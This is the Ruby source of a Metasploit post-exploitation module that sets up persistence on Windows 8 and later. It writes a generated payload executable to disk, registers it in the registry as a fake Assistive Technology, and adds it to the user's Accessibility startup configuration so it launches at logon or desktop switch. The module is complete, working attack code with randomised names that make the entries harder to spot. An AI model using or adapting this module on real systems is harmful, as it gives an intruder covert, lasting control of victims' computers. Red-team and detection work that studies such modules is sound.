## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs' STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility' def initialize(info = {}) super( update_info( info, 'Name' => 'Assistive Technologies Persistence', 'Description' => %q{ This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry. Then it configures the system to launch the AT executable during user logon or desktop switch (such as with an admin prived program). Requires Windows 8 or higher and administrative privileges. }, 'Author' => ['h00die'], 'Platform' => ['win'], 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'SessionTypes' => ['meterpreter', 'shell'], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES], ['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'], ['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx'] ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2016-07-22', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']), OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']), ]) end def create_at(at_name, payload_path) target_key = "#{AT_REG_PATH}\\#{at_name}" at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13))) registry_createkey(target_key) registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ') registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ') registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD') registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ') registry_setvaldata(target_key, 'Profile', '', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ') registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ') registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD') end def writable_dir d = super return session.sys.config.getenv(d) if d.start_with?('%') d end def check print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) version = get_version_info return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win8 return CheckCode::Safe('You have admin rights to run this Module') unless is_admin? CheckCode::Appears('Likely exploitable') end def install_persistence payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) temp_path = writable_dir payload_exe = generate_payload_exe payload_pathname = temp_path + '\\' + payload_name payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe') vprint_status("Payload pathname: #{payload_pathname}") fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) vprint_status("Creating Assistive Technology #{at_name} registry entries") create_at(at_name, payload_pathname) vprint_status('Setting AT to start during login') current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration') new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip) new_value.append(at_name) registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ') print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).') @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n" @clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n" @clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n" end end